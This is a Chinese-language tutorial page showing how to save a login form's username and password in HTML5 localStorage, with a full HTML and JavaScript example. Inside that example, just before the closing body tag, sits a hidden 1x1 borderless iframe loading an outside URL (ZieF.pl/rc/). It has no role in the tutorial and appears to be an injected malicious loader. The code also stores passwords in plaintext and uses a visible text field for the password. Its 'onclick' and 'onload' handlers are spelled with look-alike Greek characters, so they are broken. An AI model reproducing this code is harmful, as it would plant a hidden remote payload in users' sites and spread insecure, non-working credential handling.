web存儲用戶名和密碼
如何永久長期存儲用戶名和密碼,除非你手動清除。
在客戶端存儲數據
HTML5 提供了兩種在客戶端存儲數據的新方法:
- localStorage - 沒有時間限制的數據存儲
- sessionStorage - 針對一個 session 的數據存儲
之前,這些都是由 cookie 完成的。但是 cookie 不適合大量數據的存儲,因爲它們由每個對服務器的請求來傳遞,這使得 cookie 速度很慢而且效率也不高。
在 HTML5 中,數據不是由每個服務器請求傳遞的,而是隻有在請求時使用數據。它使在不影響網站性能的情況下存儲大量數據成爲可能。
對於不同的網站,數據存儲於不同的區域,並且一個網站只能訪問其自身的數據。
HTML5 使用 JavaScript 來存儲和訪問數據。
代碼實現如下:
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
</head>
<body>
<label for="">
用戶名:<input type="text" class="userName"/>
</label>
<br/><br/>
<label for="">
密 碼:<input type="text" class="pwd"/>
</label>
<br/><br/>
<label for="">
<input type="checkbox" class="check" id=""/>記住密碼
</label>
<br/><br/>
<button>登錄</button>
<script>
var userName=document.querySelector('.userName');
var pwd=document.querySelector('.pwd');
var chk=document.querySelector('.check');
var btn=document.querySelector('button');
// 當點擊登錄的時候 如果需要記住密碼: 存儲密碼,否則 清除密碼
btn.οnclick=function(){
if(chk.checked){
// 記住數據
window.localStorage.setItem('userName',userName.value);
window.localStorage.setItem('pwd',pwd.value);
}else{
// 清除數據
window.localStorage.removeItem('userName');
window.localStorage.removeItem('pwd');
}
}
// 下次登錄的 ,如果記錄的有數據 直接填充
window.οnlοad=function(){
userName.value=window.localStorage.getItem('userName');
pwd.value=window.localStorage.getItem('pwd');
}
</script>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>